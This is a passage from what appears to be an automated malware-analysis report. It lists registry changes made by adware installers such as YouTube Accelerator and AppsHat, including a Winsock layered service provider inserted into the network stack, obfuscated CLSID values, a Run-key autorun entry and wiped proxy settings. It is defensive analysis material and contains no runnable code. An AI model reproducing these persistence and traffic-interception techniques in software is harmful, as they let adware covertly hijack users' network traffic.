"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "11 00 00 00"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Next_Catalog_Entry_ID" = "1022"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-103"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"ProtocolName" = "YTALSP"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Num_Catalog_Entries" = "13"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"PackedCatalogItem" = "25 77 69 6E 64 69 72 25 5C 73 79 73 74 65 6D 33"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "L@KfbVPlh|acP_w}Yu`fRISI`@Ndl"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IP]]"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\FdUXjkIpvn]
"(Default)" = "R[vJIqJXaKx^G_yp"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"PackedCatalogItem" = "25 77 69 6E 64 69 72 25 5C 73 79 73 74 65 6D 33"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"ProtocolName" = "VMCI sockets STREAM"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"ProtocolName" = "YTALSP over [RSVP UDPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"ProtocolName" = "YTALSP over [RSVP TCP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"ProtocolName" = "YTALSP over [RSVP TCPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Serial_Access_Num" = "19"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "3D A2 D8 EA 3F 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"LspCategories" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtgQRLXDdtLli@u"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZe~"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"ProtocolName" = "YTALSP over [RSVP UDP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"ProtocolName" = "VMCI sockets DGRAM"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "LVUj]R_d|LiVOfCx`Sk@Cs_rDJCj"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "F}FdcTzbnLZBznXQtn["

The Application deletes the following registry key(s):

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000001B]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000001C]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000001A]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"FdUXjkIpvn"
"jugyvwoEcjGw"
"Uojvoqeov"
"rffapxdttSchh"
"yxQHXfdfitoe"
"qPacydvhduuR"
"qvorsEtjxw"
"qvbbRNdMg"
"yEsrDTepOCs"
"cgcdxuSksc"
"MNEMOyZJWG"
"LdsE"
"fSXewhkfv"
"omdjT"
"hFLwn"
"DxOl"
"uqmpybcjdI"
"pseKcc"
"pxylOXnGwpXkz"

The process lspinst.exe:3716 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQ`DvisWwj@pPX["

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "LVUj]R_d|LiVOfCx`Sk@Cs_rDJCj"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 04 A4 44 A3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "L@KfbVPlh|ac`_w}Yu`fbISI`@Ndl"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0E 00 00 00"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\FdUXjkIpvn]
"(Default)" = "R[vJVqJXaKsqzJ{P"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtgQRLXDdtLli@u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "F}FdcTzbnLZBznXQtn["

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZe~"

The Application deletes the following value(s) in system registry:

The process YTAHEL~1.EXE:3388 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

The process appshat_generic.exe:4076 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "86 41 B7 5A AA 79 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "B2 6A D8 57 AA 79 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"NoRepair" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"NoModify" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5B 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"DisplayName" = "AppsHat Mobile Apps"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"Publisher" = "Somoto Ltd."
"DisplayVersion" = "1.0.0.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\Uninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat]

The Application deletes the following value(s) in system registry:

The process DCytaiesmt_smtyc_setup.exe:2044 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process DCytaiesmt_smtyc_setup.exe:2444 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "40 12 28 3A AA 79 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"InstallStr" = "ok"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"Install" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4A 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "98 AD 41 3C AA 79 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process DCytaiesmt_smtyc_setup.exe:3520 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process DCytaiesmt_smtyc_setup.exe:3288 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process DCytaiesmt_smtyc_setup.exe:1004 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process DCytaiesmt_smtyc_setup.exe:3676 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process cscript.exe:3916 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process spbiu.exe:3408 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Gcf" = "D9 91 CF EC EE 40 F4 7E 74 E4 CF FB 2F 99 75 C3"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd\Users\Default]
"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Scf" = "D7 60 A8 FF 96 21 6B D1 08 F8 D4 E7 66 0C 8E 07"

The process spbiu.exe:960 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Ult" = "Type: REG_QWORD, Length: 8"

The process wscript.exe:3684 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process YouTubeAcceleratorService.exe:1580 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "07 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 04 A4 44 A3"

The process YouTubeAcceleratorService.exe:3128 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQ}JbXMHpbpODr"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"VA_Aff" = "NONE"

[HKU\.DEFAULT\Software\GOOBZO\YouTube Accelerator]
"LastUpdateTime" = "1429342545"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 04 A4 44 A3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LSPTestSucceeded" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "09 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"XMLVersion" = "0"
"XMLUpdateFailed" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPPW" = "t4GCMrk5"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "L@KfbVPlh|ab@_w}Yu`gBISI`@Ndl"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"UpdateReason" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "C2 86 5F 46 AA 79 D0 01"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "C2 86 5F 46 AA 79 D0 01"
"WpadDecisionReason" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAIDV" = "0"
"SBPIDV" = "0"
"SBAPW" = "EsmWimui"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtgQRLXDdtLli@u"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspVersion" = "1.0.0.1"

